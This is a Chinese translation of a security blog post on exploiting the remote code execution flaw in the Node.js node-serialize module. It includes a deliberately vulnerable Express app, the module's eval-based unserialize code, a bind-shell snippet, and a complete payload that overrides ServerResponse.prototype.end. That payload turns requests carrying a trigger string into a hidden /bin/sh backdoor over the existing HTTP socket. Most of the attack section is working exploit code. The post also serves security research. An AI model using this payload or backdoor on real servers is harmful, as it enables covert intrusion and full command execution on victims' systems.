原文鏈接:http://blog.websecurify.com/2017/02/hacking-node-serialize.html

原作者:Petko D. Petkov

譯:Holic (知道創宇404安全實驗室)

前言:本文闡述了一種利用 Node.JS 代碼執行漏洞的方法。在 JavaScript 中,所有的對象都是基于 Object,所有的對象都繼承了Object.prototype的屬性和方法,它們可以被覆蓋。通過覆蓋 ServerResponse.prototype.end 方法,就可以操縱 express 在返回響應時執行的操縱而無須另開端口的bind shell 或 反彈 shell,類似 node 的 webshell。

另一方面就是宣傳作者的 rest 工具了 _(:з」∠)_。


正文:

幾天前,我注意到了 opsecx 的一篇博文,這篇文章講了如果利用 nodejs 模塊 node-serialize 的 RCE(遠程命令執行)漏洞,然而有一點我很在意,就是利用 Burp 的過程過于繁瑣 - 這工具很強的 - 不過我認為可以做的更優雅。

在本文中,我想表達一下個人對這個獨特的 RCE 的看法,也許將來會有所幫助 - 大概對你的個人研究會有些用。

攻擊面

在開始之前,先評估一下攻擊面是很有用的。本 node-serialize 模塊同樣適用。撰寫本文時,該模塊每月約有 2000 次下載,其中有 9 個包不需要其它的子依賴。

下面是所依賴模塊的列表:cdlib, cdlibjs, intelligence, malice, mizukiri, modelproxy-engine-mockjs, node-help, sa-sdk-node, scriby, sdk-sa-node, shelldoc, shoots。不分析代碼是無法斷定這些應用是否也存在漏洞,但本著挖掘漏洞的原則,我假設他們是有漏洞的。

盡管如此,更重要的是,我們還沒回答“該模塊擴散得有多廣泛”的問題。每月 2000 次的下載量或許可以說明很多事情,不過很難估計這個數字后面的應用程序數量。去 github 和 google 大致瀏覽一下即可確定答案所在,這也正是有趣之處。

GitHub 搜索顯示存在 97 個潛在的可能有漏洞的模塊/應用,這些模塊可能是個人使用,并未在 npmjs.com 上注冊。通過瀏覽代碼的方法可以快速確定了該問題存在的廣泛與否。我還神奇地發現它竟然與口袋妖怪(Pokémon)有關。快去一探究竟!

我將有關情況報告給 https://nodesecurity.io/ 以提供支持,這是報告此安全問題目前唯一的途徑,尤其是關于 NodeJS 模塊系統的相關問題。它是個免費的開源項目。

測試環境

目前為止,我們正研究一個有利用潛力的漏洞,從公共安全的視角來看挺不錯。那么我們進入更學術的一面,進而利用之。為了測試該 bug ,我們需要一個存在漏洞的應用程序。opsecx 提供了一個示例,我們將在本次練習中使用它。代碼頗為簡單。

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');

var app = express();

app.use(cookieParser())

app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);

        if (obj.username) {
            res.send("Hello " + escape(obj.username));
        }
    } else {
        res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
            maxAge: 900000,
            httpOnly: true
        });

        res.send("Hello stranger");
    }
});

app.listen(3000);

你需要以下 package.json 安裝對應模塊(npm install)。

{
  "dependencies": {
    "cookie-parser": "^1.4.3",
    "escape-html": "^1.0.3",
    "express": "^4.14.1",
    "node-serialize": "0.0.4"
  }
}

那么我們進入關鍵部分吧。從代碼中可以看到,本例 Web 應用正在使用用戶配置(profile)設置 cookie,該配置使用了存在漏洞的模塊進行序列化對象。然后進行 base64 編碼。要想知道 base64 字符串解包后是什么樣的,可以試試 ENcoder

利用步驟

現在我們有了一個有效請求,然后改造請求利用漏洞。首先,弄清 node-serialize 中的漏洞原理。看一眼源代碼便一目了然,模塊的相關函數如下所示:

} else if(typeof obj[key] === 'function') {
  var funcStr = obj[key].toString();
  if(ISNATIVEFUNC.test(funcStr)) {
    if(ignoreNativeFunc) {
      funcStr = 'function() {throw new Error("Call a native function unserialized")}';
    } else {
      throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
    }
  }
  outputObj[key] = FUNCFLAG + funcStr;
} else {

一旦調用 unserialize 方法,問題就會暴露出來,具體行號點此

if(obj[key].indexOf(FUNCFLAG) === 0) {
  obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {

如果我們創建一個包含一 _$$ND_FUNC$$_ 為開頭的任意 JSON 對象,我們就可以遠程執行代碼,因為它使用了 eval 。我們可以使用以下設置來測試這一點。

如果成功執行,當然它理應成功,你會收到一個錯誤,因為服務器在請求完成之前退出了。現在我們有了代碼執行,但我們可以做到更好。

關鍵所在

我個人感覺 opsecx 博客中提到的那點利用方式略顯粗獷了。出于演示目的,它當然已經完全夠用了,考慮到我們在 node 進程內已經實現了 eval 操作,我們完全可以搞更多事情,來獲得更優雅的 hack,而不需要 Python 階段的攻擊。那么我就要寫一下代碼了,可能會修改有效的 exploit,使其更易用一些。那么我們可以使用變量選項,將代碼設置為一個叫 code 的變量。

它存儲我們的代碼,我們不必擔心編碼問題。僅需修改 cookie 中的 profile ,以便將變量嵌入 JSON ,然后 node-serialize 執行特定的函數。

很漂亮!現在我們每次更改code 變量時,profile cookie payload 將通過編碼鏈和 node-serialize 神奇的完美運行。

內存后門

現在要對我們的代碼 payload 進行處理。假設我們不知道程序是如何運行的,我們需要一個通用的利用方法,或者多用任何其他應用,沒有安裝環境和其它預習過的知識。這要求我們不能依賴可能存在的全局范圍變量。我們也不能依賴 express 應用已經導出的變量,那么可以訪問其他要安裝的路由來進行訪問。我不想生成新的端口或反向 shell,而要保持 profile 為最小的狀態。

這是個很大的需求,但進行一些研究后,很容易找到一種可行的方法。

我們從 http 模塊引用 ServerResponse 函數開始。ServerResponse 的屬性用于 expressjs 中 response 對象的 __proto__

/**
 * Response prototype.
 */

var res = module.exports = {
  __proto__: http.ServerResponse.prototype
};

這意味著如果我們更改 ServerResponse 的 原型(prototype),對應的 __proto__ 屬性。來自響應的 send 方法會調用 ServerResponse 的 prototype。

if (req.method === 'HEAD') {
  // skip body for HEAD
  this.end();
} else {
  // respond
  this.end(chunk, encoding);
}

一旦 send 方法被調用, end 方法將被調用,而它恰好是來自 ServerResponse 的 prototype。由于 send 方法大量用于 expressjs 相關的東西,這就意味著我們可以更直接地訪問更有趣的結構,比如打開當前的 socket。如果我們覆寫 prototype 的 end 方法,我們便可以通過 this 引用獲取對 socket 對象的引用。

實現這種效果的代碼如下:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket gives us the current open socket
  }
})(require('http').ServerResponse.prototype.end)

由于我們覆蓋了 end 的原型(prototype),我們還需要某種方式區分我們的啟動請求和其他正常請求,以免產生意外。我們可以通過查詢參數包含的特殊字符串(abc123),以區分是否是來自自己的惡意請求。可以從 socket 的 httpMessage 對象獲取此信息。如下所示:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    // TODO: this.socket._httpMessage.req.query give us reference to the query
  }
})(require('http').ServerResponse.prototype.end)

一切就緒。剩下的就是啟動 shell 了,這在 node 中相當簡單。

var cp = require('child_process')
var net = require('net')

net.createServer((socket) => {
    var sh = cp.spawn('/bin/sh')

    sh.stdout.pipe(socket)
    sh.stderr.pipe(socket)

    socket.pipe(sh.stdin)
}).listen(5001)

合并上述兩個段,最終代碼如下。注意我們這里通過已經建立的 socket 來重定向 end 函數,其中 node 產生了一個 shell。這很純粹。

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

現在 nc localhost 3000,然后輸入以下請求內容:

$ nc localhost 3000
GET /?q=abc123 HTTP/1.1


ls -la

什么?你啥也沒得到?這只是個小把戲,我分開講了。你看,我們正在劫持一個現有的 socket,因此我們不是它的唯一接管人。還有其他的東西可能會影響 socket,所以對于其他情況應小心考慮。還好很容易實現這一點,最終的代碼如下:

require('http').ServerResponse.prototype.end = (function (end) {
  return function () {
    if (this.socket._httpMessage.req.query.q === 'abc123') {
        ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
        var cp = require('child_process')
        var net = require('net')
        var sh = cp.spawn('/bin/sh')
        sh.stdout.pipe(this.socket)
        sh.stderr.pipe(this.socket)
        this.socket.pipe(sh.stdin)
    } else {
        end.apply(this, arguments)
    }
  }
})(require('http').ServerResponse.prototype.end)

最后,可以根據自己的喜好自由發揮了。可以通過相同的服務器進程,建立 socket 打開具有特殊字符串的請求來獲取遠程 shell。

結論

我們從一個簡單的 RCE 開始,最終生成了一個通用的 HTTP 通道的 shell,可以應對多種情況。整個過程利用 Rest 工具變得非常簡單。順便推薦前幾篇文章:123


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/221/